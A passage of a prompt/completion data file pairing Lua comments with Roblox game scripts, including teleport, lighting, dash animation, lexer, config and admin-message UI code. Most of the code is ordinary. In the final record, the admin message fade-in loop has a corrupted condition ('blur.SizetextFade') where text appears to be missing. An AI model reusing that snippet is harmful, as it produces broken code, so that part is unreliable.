Reverser\n\t\telse\n\t\t\tk.Throttle = -Reverser\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[ By: Brutez. ]]", "completion": "--\n\nfunction onTouched(hit)\n local player = game.Players:GetPlayerFromCharacter(hit.Parent)\n if player then\n game:GetService(\"TeleportService\"):Teleport(4641921091,player) --replace the numbers with your place id\n end\nend\n\n\nscript.Parent.Torso.Touched:connect(onTouched)\n"} +{"prompt": "------------------------------------------------------------------------\n-- reads a string\n-- * has been restructured significantly compared to the original C code\n------------------------------------------------------------------------", "completion": "\n\nfunction luaX:read_string(ls, del, Token)\n self:save_and_next(ls)\n while ls.current ~= del do\n local c = ls.current\n if c == \"EOZ\" then\n self:lexerror(ls, \"unfinished string\", \"TK_EOS\")\n elseif self:currIsNewline(ls) then\n self:lexerror(ls, \"unfinished string\", \"TK_STRING\")\n elseif c == \"\\\\\" then\n c = self:nextc(ls) -- do not save the '\\'\n if self:currIsNewline(ls) then -- go through\n self:save(ls, \"\\n\")\n self:inclinenumber(ls)\n elseif c ~= \"EOZ\" then -- will raise an error next loop\n -- escapes handling greatly simplified here:\n local i = string.find(\"abfnrtv\", c, 1, 1)\n if i then\n self:save(ls, string.sub(\"\\a\\b\\f\\n\\r\\t\\v\", i, i))\n self:nextc(ls)\n elseif not string.find(c, \"%d\") then\n self:save_and_next(ls) -- handles \\\\, \\\", \\', and \\?\n else -- \\xxx\n c, i = 0, 0\n repeat\n c = 10 * c + ls.current\n self:nextc(ls)\n i = i + 1\n until i >= 3 or not string.find(ls.current, \"%d\")\n if c > 255 then -- UCHAR_MAX\n self:lexerror(ls, \"escape sequence too large\", \"TK_STRING\")\n end\n self:save(ls, string.char(c))\n end\n end\n else\n self:save_and_next(ls)\n end--if c\n end--while\n self:save_and_next(ls) -- skip delimiter\n Token.seminfo = string.sub(ls.buff, 2, -2)\nend\n"} +{"prompt": "--[[local u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nnumberMap = {\n\t{1000, 'M'},\n\t{900, 'CM'},\n\t{500, 'D'},\n\t{400, 'CD'},\n\t{100, 'C'},\n\t{90, 'XC'},\n\t{50, 'L'},\n\t{40, 'XL'},\n\t{10, 'X'},\n\t{9, 'IX'},\n\t{5, 'V'},\n\t{4, 'IV'},\n\t{1, 'I'}\n\n}\n\nfunction intToRoman(num)\n\tnum = tonumber(num)\n\tlocal roman = \"\"\n\twhile num > 0 do\n\t\tfor index,v in pairs(numberMap)do \n\t\t\tlocal romanChar = v[2]\n\t\t\tlocal int = v[1]\n\t\t\twhile num >= int do\n\t\t\t\troman = roman..romanChar\n\t\t\t\tnum = num - int\n\t\t\tend\n\t\tend\n\tend\n\treturn roman\nend\n\nreturn intToRoman]]", "completion": "--\n\n"} +{"prompt": "--[[ Use the following script to program your on/off switch to do stuff. This can mean opening and closing a door, turning on and off lights, anything!\nJust put what you want the button to do while on/off below.]]", "completion": "\n\nRoom = script.Parent\n\nfunction on() --Type below what you want the button to do while it is on.\nRoom.L1.SpotLight.Enabled = true\nRoom.L2.SpotLight.Enabled = true\nRoom.L3.SpotLight.Enabled = true\nRoom.L4.SpotLight.Enabled = true\nRoom.L5.SpotLight.Enabled = true\nRoom.L6.SpotLight.Enabled = true\nend\n\nfunction off() --Type below what you want the button to do while it is off.\nRoom.L1.SpotLight.Enabled = false\nRoom.L2.SpotLight.Enabled = false\nRoom.L3.SpotLight.Enabled = false\nRoom.L4.SpotLight.Enabled = false\nRoom.L5.SpotLight.Enabled = false\nRoom.L6.SpotLight.Enabled = false\nend\n"} +{"prompt": "-- If in-game, enable ctrl hotkeys for undoing and redoing", "completion": "\nif Mode == 'Tool' then\n\tAssignHotkey({ 'LeftControl', 'Z' }, History.Undo);\n\tAssignHotkey({ 'RightControl', 'Z' }, History.Undo);\n\tAssignHotkey({ 'LeftControl', 'Y' }, History.Redo);\n\tAssignHotkey({ 'RightControl', 'Y' }, History.Redo);\nend;\n\nlocal function GetDepthFromAncestor(Item, Ancestor)\n\t-- Returns the depth of `Item` from `Ancestor`\n\n\tlocal Depth = 0\n\n\t-- Go through ancestry until reaching `Ancestor`\n\twhile Item ~= Ancestor do\n\t\tDepth = Depth + 1\n\t\tItem = Item.Parent\n\tend\n\n\t-- Return depth\n\treturn Depth\nend\n\nlocal function GetHighestParent(Items)\n\tlocal HighestItem, HighestItemDepth\n\n\t-- Calculate depth of each item & keep highest\n\tfor _, Item in ipairs(Items) do\n\t\tlocal Depth = GetDepthFromAncestor(Item, game)\n\t\tif (not HighestItemDepth) or (Depth < HighestItemDepth) then\n\t\t\tHighestItem = Item\n\t\t\tHighestItemDepth = Depth\n\t\tend\n\tend\n\n\t-- Return parent of highest item\n\treturn HighestItem and HighestItem.Parent or nil\nend\n\nfunction CloneSelection()\n\t-- Clones selected parts\n\n\t-- Make sure that there are items in the selection\n\tif #Selection.Items == 0 then\n\t\treturn;\n\tend;\n\n\t-- Send the cloning request to the server\n\tlocal Clones = SyncAPI:Invoke('Clone', Selection.Items, GetHighestParent(Selection.Items))\n\n\t-- Put together the history record\n\tlocal HistoryRecord = {\n\t\tClones = Clones;\n\n\t\tUnapply = function (HistoryRecord)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Deselect the clones\n\t\t\tSelection.Remove(HistoryRecord.Clones, false);\n\n\t\t\t-- Remove the clones\n\t\t\tSyncAPI:Invoke('Remove', HistoryRecord.Clones);\n\n\t\tend;\n\n\t\tApply = function (HistoryRecord)\n\t\t\t-- Reapplies this change\n\n\t\t\t-- Restore the clones\n\t\t\tSyncAPI:Invoke('UndoRemove', HistoryRecord.Clones);\n\n\t\tend;\n\n\t};\n\n\t-- Register the history record\n\tHistory.Add(HistoryRecord);\n\n\t-- Select the clones\n\tSelection.Replace(Clones);\n\n\t-- Flash the outlines of the new parts\n\tcoroutine.wrap(Selection.FlashOutlines)();\n\nend;\n\nfunction DeleteSelection()\n\t-- Deletes selected items\n\n\t-- Put together the history record\n\tlocal HistoryRecord = {\n\t\tParts = Support.CloneTable(Selection.Items);\n\n\t\tUnapply = function (HistoryRecord)\n\t\t\t-- Reverts this change\n\n\t\t\t-- Restore the parts\n\t\t\tSyncAPI:Invoke('UndoRemove', HistoryRecord.Parts);\n\n\t\t\t-- Select the restored parts\n\t\t\tSelection.Replace(HistoryRecord.Parts);\n\n\t\tend;\n\n\t\tApply = function (HistoryRecord)\n\t\t\t-- Applies this change\n\n\t\t\t-- Deselect the parts\n\t\t\tSelection.Remove(HistoryRecord.Parts, false);\n\n\t\t\t-- Remove the parts\n\t\t\tSyncAPI:Invoke('Remove', HistoryRecord.Parts);\n\n\t\tend;\n\n\t};\n\n\t-- Deselect parts before deleting\n\tSelection.Remove(HistoryRecord.Parts, false);\n\n\t-- Perform the removal\n\tSyncAPI:Invoke('Remove', HistoryRecord.Parts);\n\n\t-- Register the history record\n\tHistory.Add(HistoryRecord);\n\nend;\n"} +{"prompt": "--[[*\n * Create a regular expression from the given regex source string.\n *\n * ```js\n * const picomatch = require('picomatch');\n * // picomatch.toRegex(source[, options]);\n *\n * const { output } = picomatch.parse('*.js');\n * console.log(picomatch.toRegex(output));\n * //=> /^(?:(?!\\.)(?=.)[^/]*?\\.js)$/\n * ```\n * @param {String} `source` Regular expression source string.\n * @param {Object} `options`\n * @return {RegExp}\n * @api public\n ]]", "completion": "\n\nfunction picomatch.toRegex(source: string, options: Object?)\n\tlocal ok, result = pcall(function()\n\t\tlocal opts: Object = options or {}\n\t\treturn RegExp(\n\t\t\tsource,\n\t\t\tBoolean.toJSBoolean(opts.flags) and opts.flags or if Boolean.toJSBoolean(opts.nocase) then \"i\" else \"\"\n\t\t)\n\tend)\n\tif not ok then\n\t\tlocal err = result\n\t\tif options ~= nil and options.debug == true then\n\t\t\terror(err)\n\t\tend\n\t\treturn RegExp(\"$^\")\n\tend\n\treturn result\nend\n"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)", "completion": "\n\n\t\tlocal repeatAnim = currentAnim\n\t\t-- return to idle if finishing an emote\n\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\trepeatAnim = \"idle\"\n\t\tend\n\t\t\n\t\tlocal animSpeed = currentAnimSpeed\n\t\tplayAnimation(repeatAnim, 0.15, Humanoid)\n\t\tsetAnimationSpeed(0.8)\n\tend\nend\n"} +{"prompt": "-- A graph object which can have dependencies.", "completion": "\nexport type Dependent = {\n\tupdate: (Dependent) -> boolean,\n\tdependencySet: Set\n}\n"} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal BLAST_RADIUS = 20 -- Blast radius of the explosion\nlocal BLAST_DAMAGE = 200 -- Amount of damage done to players\nlocal BLAST_FORCE = 1200 -- Amount of force applied to parts\n\nlocal IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these"} +{"prompt": "--[[\n\tHigher order component that lets the wrapped component consume the ConfigurationContext.\n]]", "completion": "\nlocal function withConfiguration(component)\n\treturn function(props)\n\t\tif props.configuration then\n\t\t\twarn(\"Child component has a prop named `configuration` and will be overriden by ConfigurationContext.\")\n\t\tend\n\n\t\treturn Roact.createElement(context.Consumer, {\n\t\t\trender = function(configuration)\n\t\t\t\tlocal mergedProps = Cryo.Dictionary.join({ configuration = configuration }, props)\n\n\t\t\t\treturn Roact.createElement(component, mergedProps)\n\t\t\tend,\n\t\t})\n\tend\nend\n\nreturn {\n\tConfigurationProvider = ConfigurationProvider,\n\twithConfiguration = withConfiguration,\n}\n"} +{"prompt": "-- REQUIRED PARTS ----------------------------\n-- Include these, or things will break!", "completion": "\nlocal frontForceField = vehicle.FrontForceField\nlocal backForceField = vehicle.BackForceField\nlocal hood = vehicle.Hood\nlocal vehicleSmoke = hood.Smoke\nlocal wheel_frontLeft = vehicle.Wheel_FrontLeft\nlocal wheel_frontRight = vehicle.Wheel_FrontRight\nlocal wheel_backLeft = vehicle.Wheel_BackLeft\nlocal wheel_backRight = vehicle.Wheel_BackRight\n"} +{"prompt": "--[[\n\tStart\n]]", "completion": "\n\nif PATROL_ENABLED then\n\tcoroutine.wrap(function()\n\t\tpatrol()\n\tend)()\nend\n"} +{"prompt": "--Returns the name of the weapon to display in a kill feed.", "completion": "\nlocal function GetDamageName()\n\tif GetReflectedByPlayer() then\n\t\treturn \"Reflector\"\n\tend\n\treturn \"Slingshot\"\nend\n"} +{"prompt": "-- Skydiving", "completion": "\nlocal Skydive = require(ReplicatedStorage.Skydive)\n\nlocal messageTakeoverModule = require(ReplicatedStorage:WaitForChild(\"MessageTakeoverModule\"))\n\nSkydive.fallSpeed = 10\nSkydive.fallSpeedModifier = 20\nSkydive.maxHorizontalSpeed = 30\nlocal TELEPORT_BACK_HEIGHT = -150\n\nlocal SkydiveOutOfBoundsConnection = nil\n"} +{"prompt": "--!strict\n-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toExponential", "completion": "\nreturn function(value: string | number, fractionDigits: number?): string | nil\n\tlocal num = value\n\tif typeof(value) == \"string\" then\n\t\t-- ROBLOX FIXME: add parseInt to encapsulate this logic and use it here\n\t\tlocal NaN = 0 / 0\n\t\tnum = tonumber(value) or NaN -- works because 0 is truthy in Lua\n\tend\n\t-- returns nil for invalid input instead of nan to be more lua-native\n\tif typeof(num) ~= \"number\" then\n\t\treturn \"nan\"\n\tend\n\n\tif fractionDigits ~= nil then\n\t\tif typeof(fractionDigits) ~= \"number\" then\n\t\t\terror(\"TypeError: fractionDigits must be a number between 0 and 100\")\n\t\tend\n\t\tif fractionDigits < 0 or fractionDigits > 100 then\n\t\t\terror(\"RangeError: fractionDigits must be between 0 and 100\")\n\t\tend\n\tend\n\n\tlocal formatString\n\tif fractionDigits == nil then\n\t\tformatString = \"%e\"\n\telse\n\t\tformatString = \"%.\" .. tostring(fractionDigits) .. \"e\"\n\tend\n\n\tlocal retval = string.format(formatString, num):gsub(\"%+0\", \"+\"):gsub(\"%-0\", \"-\"):gsub(\"0*e\", \"e\")\n\n\treturn retval\nend\n"} +{"prompt": "-- functions", "completion": "\n\nlocal function CreateSquad(name)\n\tif not name then\n\t\tname\t= HttpService:GenerateGUID(false)\n\tend\n\t\n\tlocal squad\t\t= script.Squad:Clone()\n\t\tsquad.Name\t\t= name\n\t\tsquad.Parent\t= SQUADS\n\t\t\n\treturn squad\nend\n\nlocal function GetSquad(player)\n\tfor _, squad in pairs(SQUADS:GetChildren()) do\n\t\tif squad:FindFirstChild(player.Name) then\n\t\t\treturn squad\n\t\tend\n\tend\nend\n\nlocal function AddPlayerToSquad(player, squad)\n\tlocal playerValue\t= Instance.new(\"ObjectValue\")\n\t\tplayerValue.Name\t= player.Name\n\t\tplayerValue.Value\t= player\n\t\tplayerValue.Parent\t= squad\nend\n\nlocal function RemovePlayer(player)\n\tfor _, squad in pairs(SQUADS:GetChildren()) do\n\t\tlocal playerValue\t= squad:FindFirstChild(player.Name)\n\t\t\n\t\tif playerValue then\n\t\t\tplayerValue:Destroy()\n\t\tend\n\tend\nend\n"} +{"prompt": "--////////////////////////////// Include\n--//////////////////////////////////////", "completion": "\nlocal ChatConstants = require(ReplicatedModules:WaitForChild(\"ChatConstants\"))\n\nlocal ChatChannel = require(modulesFolder:WaitForChild(\"ChatChannel\"))\nlocal Speaker = require(modulesFolder:WaitForChild(\"Speaker\"))\nlocal Util = require(modulesFolder:WaitForChild(\"Util\"))\n\nlocal ChatLocalization = nil\npcall(function() ChatLocalization = require(game:GetService(\"Chat\").ClientChatModules.ChatLocalization) end)\nChatLocalization = ChatLocalization or {}\n\nif not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then\n\tfunction ChatLocalization:FormatMessageToSend(key,default) return default end\nend\n\nlocal function allSpaces(inputString)\n\tlocal testString = string.gsub(inputString, \" \", \"\")\n\treturn string.len(testString) == 0\nend\n"} +{"prompt": "--04828543601\n--5539989502", "completion": "\nlocal anim1= script.Animation1\nlocal Anim1 = humanoid:LoadAnimation(anim1)\n\nlocal anim2= script.Animation2\nlocal Anim2 = humanoid:LoadAnimation(anim2)\n\nlocal anim3= script.Animation3\nlocal Anim3 = humanoid:LoadAnimation(anim3)\n\nlocal anim4= script.Animation4\nlocal Anim4 = humanoid:LoadAnimation(anim4)\n\nlocal Sound = script:WaitForChild(\"Haoshoku Sound\")\nKeysDown={}\nEE = script.SF.Value\nlocal EiEi = 1\nUIS.InputBegan:Connect(function(Input)\n\tif Input.KeyCode == Enum.KeyCode.LeftShift and plr.Character.Humanoid.Health > 0 then\n\t\tif EiEi == 1 then\n\t\t\tEE = true\n\t\t\tEiEi = 2\n\t\t\tprint(1)\n\t\telseif EiEi == 2 then\n\t\t\tEE = false\n\t\t\tprint(2)\n\t\t\tEiEi = 1\n\t\tend\n\tend\nend)\nUIS.InputBegan:Connect(function(Input,Dash)\n\tif Dash then return end\n\tif Input.KeyCode == Enum.KeyCode.Q and Debounce == true then\n\t\tDebounce = false\n\t\tif KeysDown.W and EE == true then\n\t\tAnim1:Play()\n\t\t\tlocal sol = game.ReplicatedStorage.DashEffect:Clone()\n\t\t\tsol.Parent = workspace\n\t\t\tsol.Anchored = true\n\t\t\tsol.CFrame = plr.Character.HumanoidRootPart.CFrame * CFrame.new(0,0,5) * CFrame.fromEulerAnglesXYZ(50000,0,50000)\n\t\tlocal BV = Instance.new(\"BodyVelocity\", plr.Character.HumanoidRootPart)\n\t\tBV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)\n\t\tBV.Velocity = plr.Character.HumanoidRootPart.CFrame.lookVector * 100\n\t\tSound:Play()\n\t\t\tfor i = 1,5 do\n\t\t\t\twait(0.001)\n\t\t\t\tsol.Size = sol.Size + Vector3.new(1,1,1)\n\t\t\tend\n\t\t\tBV:Destroy()\n\t\t\twait(0.2)\n\t\t\tsol:Destroy()\n\t\telseif KeysDown.A and EE == true then\n\t\t\tAnim2:Play()\n\t\t\tlocal sol = game.ReplicatedStorage.DashEffect:Clone()\n\t\t\tsol.Parent = workspace\n\t\t\tsol.Anchored = true\n\t\t\tsol.CFrame = plr.Character.HumanoidRootPart.CFrame * CFrame.new(-5,0,0) * CFrame.fromEulerAnglesXYZ(0,0,0)\n\t\t\tlocal BV = Instance.new(\"BodyVelocity\", plr.Character.HumanoidRootPart)\n\t\t\tBV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)\n\t\t\tBV.Velocity = plr.Character.HumanoidRootPart.CFrame.RightVector * -100\n\t\t\tSound:Play()\n\t\t\tfor i = 1,5 do\n\t\t\t\twait(0.001)\n\t\t\t\tsol.Size = sol.Size + Vector3.new(1,1,1)\n\t\t\tend\n\t\t\tBV:Destroy()\n\t\t\twait(0.2)\n\t\t\tsol:Destroy()\n\t\telseif KeysDown.D and EE == true then\n\t\t\tAnim3:Play()\n\t\t\tlocal sol = game.ReplicatedStorage.DashEffect:Clone()\n\t\t\tsol.Parent = workspace\n\t\t\tsol.Anchored = true\n\t\t\tsol.CFrame = plr.Character.HumanoidRootPart.CFrame * CFrame.new(5,0,0) * CFrame.fromEulerAnglesXYZ(0,0,0)\n\t\t\tlocal BV = Instance.new(\"BodyVelocity\", plr.Character.HumanoidRootPart)\n\t\t\tBV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)\n\t\t\tBV.Velocity = plr.Character.HumanoidRootPart.CFrame.RightVector * 100\n\t\t\tSound:Play()\n\t\t\tfor i = 1,5 do\n\t\t\t\twait(0.001)\n\t\t\t\tsol.Size = sol.Size + Vector3.new(1,1,1)\n\t\t\tend\n\t\t\tBV:Destroy()\n\t\t\twait(0.2)\n\t\t\tsol:Destroy()\n\t\telseif KeysDown.S and EE == true then\n\t\t\tAnim4:Play()\n\t\t\tlocal sol = game.ReplicatedStorage.DashEffect:Clone()\n\t\t\tsol.Parent = workspace\n\t\t\tsol.Anchored = true\n\t\t\tsol.CFrame = plr.Character.HumanoidRootPart.CFrame * CFrame.new(0,0,-5) * CFrame.fromEulerAnglesXYZ(50000,0,50000)\n\t\t\tlocal BV = Instance.new(\"BodyVelocity\", plr.Character.HumanoidRootPart)\n\t\t\tBV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)\n\t\t\tBV.Velocity = plr.Character.HumanoidRootPart.CFrame.lookVector * -100\n\t\t\tSound:Play()\n\t\t\tfor i = 1,5 do\n\t\t\t\twait(0.001)\n\t\t\t\tsol.Size = sol.Size + Vector3.new(1,1,1)\n\t\t\tend\n\t\t\tBV:Destroy()\n\t\t\twait(0.2)\n\t\t\tsol:Destroy()\n\t\tend\n\t\t-----------------------------------------------------------------------\n\t\tif KeysDown.W and EE == false then\n\t\t\tAnim1:Play()\n\t\t\tlocal sol = game.ReplicatedStorage.DashEffect:Clone()\n\t\t\tsol.Parent = workspace\n\t\t\tsol.Anchored = true\n\t\t\tsol.CFrame = plr.Character.HumanoidRootPart.CFrame * CFrame.new(0,0,5) * CFrame.fromEulerAnglesXYZ(50000,0,50000)\n\t\t\tlocal BV = Instance.new(\"BodyVelocity\", plr.Character.HumanoidRootPart)\n\t\t\tBV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)\n\t\t\tBV.Velocity = plr.Character.HumanoidRootPart.CFrame.lookVector * 100\n\t\t\tSound:Play()\n\t\t\tfor i = 1,5 do\n\t\t\t\twait(0.001)\n\t\t\t\tsol.Size = sol.Size + Vector3.new(1,1,1)\n\t\t\tend\n\t\t\tBV:Destroy()\n\t\t\twait(0.2)\n\t\t\tsol:Destroy()\n\t\telseif KeysDown.A and EE == false then\n\t\t\tAnim1:Play()\n\t\t\tlocal sol = game.ReplicatedStorage.DashEffect:Clone()\n\t\t\tsol.Parent = workspace\n\t\t\tsol.Anchored = true\n\t\t\tsol.CFrame = plr.Character.HumanoidRootPart.CFrame * CFrame.new(-5,0,0) * CFrame.fromEulerAnglesXYZ(0,0,0)\n\t\t\tlocal BV = Instance.new(\"BodyVelocity\", plr.Character.HumanoidRootPart)\n\t\t\tBV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)\n\t\t\tBV.Velocity = plr.Character.HumanoidRootPart.CFrame.lookVector * 100\n\t\t\tSound:Play()\n\t\t\tfor i = 1,5 do\n\t\t\t\twait(0.001)\n\t\t\t\tsol.Size = sol.Size + Vector3.new(1,1,1)\n\t\t\tend\n\t\t\tBV:Destroy()\n\t\t\twait(0.2)\n\t\t\tsol:Destroy()\n\t\telseif KeysDown.D and EE == false then\n\t\t\tAnim1:Play()\n\t\t\tlocal sol = game.ReplicatedStorage.DashEffect:Clone()\n\t\t\tsol.Parent = workspace\n\t\t\tsol.Anchored = true\n\t\t\tsol.CFrame = plr.Character.HumanoidRootPart.CFrame * CFrame.new(5,0,0) * CFrame.fromEulerAnglesXYZ(0,0,0)\n\t\t\tlocal BV = Instance.new(\"BodyVelocity\", plr.Character.HumanoidRootPart)\n\t\t\tBV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)\n\t\t\tBV.Velocity = plr.Character.HumanoidRootPart.CFrame.lookVector * 100\n\t\t\tSound:Play()\n\t\t\tfor i = 1,5 do\n\t\t\t\twait(0.001)\n\t\t\t\tsol.Size = sol.Size + Vector3.new(1,1,1)\n\t\t\tend\n\t\t\tBV:Destroy()\n\t\t\twait(0.2)\n\t\t\tsol:Destroy()\n\t\telseif KeysDown.S and EE == false then\n\t\t\tAnim1:Play()\n\t\t\tlocal sol = game.ReplicatedStorage.DashEffect:Clone()\n\t\t\tsol.Parent = workspace\n\t\t\tsol.Anchored = true\n\t\t\tsol.CFrame = plr.Character.HumanoidRootPart.CFrame * CFrame.new(0,0,-5) * CFrame.fromEulerAnglesXYZ(50000,0,50000)\n\t\t\tlocal BV = Instance.new(\"BodyVelocity\", plr.Character.HumanoidRootPart)\n\t\t\tBV.MaxForce = Vector3.new(math.huge, math.huge, math.huge)\n\t\t\tBV.Velocity = plr.Character.HumanoidRootPart.CFrame.lookVector * 100\n\t\t\tSound:Play()\n\t\t\tfor i = 1,5 do\n\t\t\t\twait(0.001)\n\t\t\t\tsol.Size = sol.Size + Vector3.new(1,1,1)\n\t\t\tend\n\t\t\tBV:Destroy()\n\t\t\twait(0.2)\n\t\t\tsol:Destroy()\n\t\tend\n\t\twait(0.2)\n\t\tDebounce = true\n\telse\n\t\tKeysDown[Input.KeyCode.Name]=true\n\tend\nend)\nUIS.InputEnded:Connect(function(input)\n\tif input.UserInputType == Enum.UserInputType.Keyboard then\n\t\tKeysDown[input.KeyCode.Name] = nil\n\n\tend\nend)\n"} +{"prompt": "-- Build a list of valid configuration values up for debug messages.", "completion": "\nlocal defaultConfigKeys = {}\nfor key in pairs(defaultConfig) do\n\ttable.insert(defaultConfigKeys, key)\nend\n\nlocal Config = {}\n\nfunction Config.new()\n\tlocal self = {}\n\n\tself._currentConfig = setmetatable({}, {\n\t\t__index = function(_, key)\n\t\t\tlocal message = (\n\t\t\t\t\"Invalid global configuration key %q. Valid configuration keys are: %s\"\n\t\t\t):format(\n\t\t\t\ttostring(key),\n\t\t\t\ttable.concat(defaultConfigKeys, \", \")\n\t\t\t)\n\n\t\t\terror(message, 3)\n\t\tend\n\t})\n\n\t-- We manually bind these methods here so that the Config's methods can be\n\t-- used without passing in self, since they eventually get exposed on the\n\t-- root Roact object.\n\tself.set = function(...)\n\t\treturn Config.set(self, ...)\n\tend\n\n\tself.get = function(...)\n\t\treturn Config.get(self, ...)\n\tend\n\n\tself.scoped = function(...)\n\t\treturn Config.scoped(self, ...)\n\tend\n\n\tself.set(defaultConfig)\n\n\treturn self\nend\n\nfunction Config:set(configValues)\n\t-- Validate values without changing any configuration.\n\t-- We only want to apply this configuration if it's valid!\n\tfor key, value in pairs(configValues) do\n\t\tif defaultConfig[key] == nil then\n\t\t\tlocal message = (\n\t\t\t\t\"Invalid global configuration key %q (type %s). Valid configuration keys are: %s\"\n\t\t\t):format(\n\t\t\t\ttostring(key),\n\t\t\t\ttypeof(key),\n\t\t\t\ttable.concat(defaultConfigKeys, \", \")\n\t\t\t)\n\n\t\t\terror(message, 3)\n\t\tend\n\n\t\t-- Right now, all configuration values must be boolean.\n\t\tif typeof(value) ~= \"boolean\" then\n\t\t\tlocal message = (\n\t\t\t\t\"Invalid value %q (type %s) for global configuration key %q. Valid values are: true, false\"\n\t\t\t):format(\n\t\t\t\ttostring(value),\n\t\t\t\ttypeof(value),\n\t\t\t\ttostring(key)\n\t\t\t)\n\n\t\t\terror(message, 3)\n\t\tend\n\n\t\tself._currentConfig[key] = value\n\tend\nend\n\nfunction Config:get()\n\treturn self._currentConfig\nend\n\nfunction Config:scoped(configValues, callback)\n\tlocal previousValues = {}\n\tfor key, value in pairs(self._currentConfig) do\n\t\tpreviousValues[key] = value\n\tend\n\n\tself.set(configValues)\n\n\tlocal success, result = pcall(callback)\n\n\tself.set(previousValues)\n\n\tassert(success, result)\nend\n\nreturn Config\n"} +{"prompt": "-- setup emote chat hook\n--Game.Players.LocalPlayer.Chatted:connect(function(msg)\n--\tlocal emote = \"\"\n--\tif (string.sub(msg, 1, 3) == \"/e \") then\n--\t\temote = string.sub(msg, 4)\n--\telseif (string.sub(msg, 1, 7) == \"/emote \") then\n--\t\temote = string.sub(msg, 8)\n--\tend\n--\t\n--\tif (pose == \"Standing\" and emoteNames[emote] ~= nil) then\n--\t\tplayAnimation(emote, 0.1, Humanoid)\n--\tend\n----\tprint(\"===> \" .. string.sub(msg, 1, 3) .. \"(\" .. emote .. \")\")\n--end)", "completion": "\n\n"} +{"prompt": "--[[ Script Variables ]]", "completion": "--\nwhile not Players.LocalPlayer do\n\twait()\nend\nlocal LocalPlayer = Players.LocalPlayer\nlocal ThumbpadFrame = nil\nlocal TouchObject = nil\nlocal OnInputEnded = nil\t-- is defined in Create()\nlocal OnTouchChangedCn = nil\nlocal OnTouchEndedCn = nil\nlocal currentMoveVector = Vector3.new(0,0,0)\n"} +{"prompt": "-- ALEX WAS HERE LOL", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nreturn function(p1, p2, ...)\n\tlocal v2, v3 = ...;\n\tp1.title.Text = v2;\n\tif v3 == \"Mythical\" or v3 == \"Exclusive\" or v3 == \"Nightmare\" then\n\t\tp1.title.TextColor3 = Color3.new(1, 1, 1);\n\t\tv1.Assets.UI.Raritys:FindFirstChild(v3):Clone().Parent = p1.title;\n\tend;\nend;\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\t\n\tlocal gui = client.UI.Prepare(script.Parent.Parent) -- Change it to a TextLabel to avoid chat clearing\n\tlocal playergui = service.PlayerGui\n\tlocal frame = gui.Frame\n\tlocal msg = gui.Frame.Message\n\tlocal ttl = gui.Frame.Title\n\t\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\t\n\tlocal title = data.Title\n\tlocal message = data.Message\n\tlocal scroll = data.Scroll\n\tlocal tim = data.Time\n\t\n\tif not data.Message or not data.Title then gui:Destroy() end\n\t\n\tttl.Text = title\n\tmsg.Text = message\n\tttl.TextTransparency = 1\n\tmsg.TextTransparency = 1\n\tttl.TextStrokeTransparency = 1\n\tmsg.TextStrokeTransparency = 1\n\tframe.BackgroundTransparency = 1\n\t\n\tlocal log = {\n\t\tType = \"Full Screen Message\";\n\t\tTitle = title;\n\t\tMessage = message;\n\t\tIcon = \"rbxassetid://7501175708\";\n\t\tTime = os.date(\"%X\");\n\t\tFunction = nil;\n\t}\n\n\ttable.insert(client.Variables.CommunicationsHistory, log) \n\tservice.Events.CommsPanel:Fire(log)\n\t\n\t\n\tlocal blur = service.New(\"BlurEffect\")\n\tblur.Enabled = false\n\tblur.Size = 0\n\tblur.Parent = workspace.CurrentCamera\n\t\n\tlocal fadeSteps = 10\n\tlocal blurSize = 10\n\tlocal textFade = 0.1\n\tlocal strokeFade = 0.5\n\tlocal frameFade = 0.3\n\t\n\tlocal blurStep = blurSize/fadeSteps\n\tlocal frameStep = frameFade/fadeSteps\n\tlocal textStep = 0.1\n\tlocal strokeStep = 0.1\n\tlocal gone = false\n\t\n\tlocal function fadeIn()\n\t\tif not gone then\n\t\t\tblur.Enabled = true\n\t\t\tgTable:Ready()\n\t\t\t--gui.Parent = service.PlayerGui\n\t\t\tfor i = 1,fadeSteps do\n\t\t\t\tif blur.SizetextFade then\n\t\t\t\t\tmsg.TextTransparency = msg.TextTransparency-textStep\n\t\t\t\t\tttl.TextTransparency = ttl.TextTransparency-textStep\n\t\t\t\tend\n\t\t\t\tif msg.TextStrokeTransparency>strokeFade then\n\t\t\t\t\tmsg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep\n\t\t\t\t\tttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep\n\t\t\t\tend\n\t\t\t\tif frame.BackgroundTransparency>frameFade then\n\t\t\t\t\tframe.BackgroundTransparency = frame.BackgroundTransparency-frameStep\n\t\t\t\tend\n\t\t\t\twait(1/60)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tlocal function fadeOut()\n\t\tif not gone then\n\t\t\tfor i = 1,fadeSteps do\n\t\t\t\tif blur.Size>0 then\n\t\t\t\t\tblur.Size = blur.Size-blurStep\n\t\t\t\tend\n\t\t\t\tif msg.TextTransparency<1 then\n\t\t\t\t\tmsg.TextTransparency = msg.TextTransparency+textStep\n\t\t\t\t\tttl.TextTransparency = ttl.TextTransparency+textStep\n\t\t\t\tend\n\t\t\t\tif 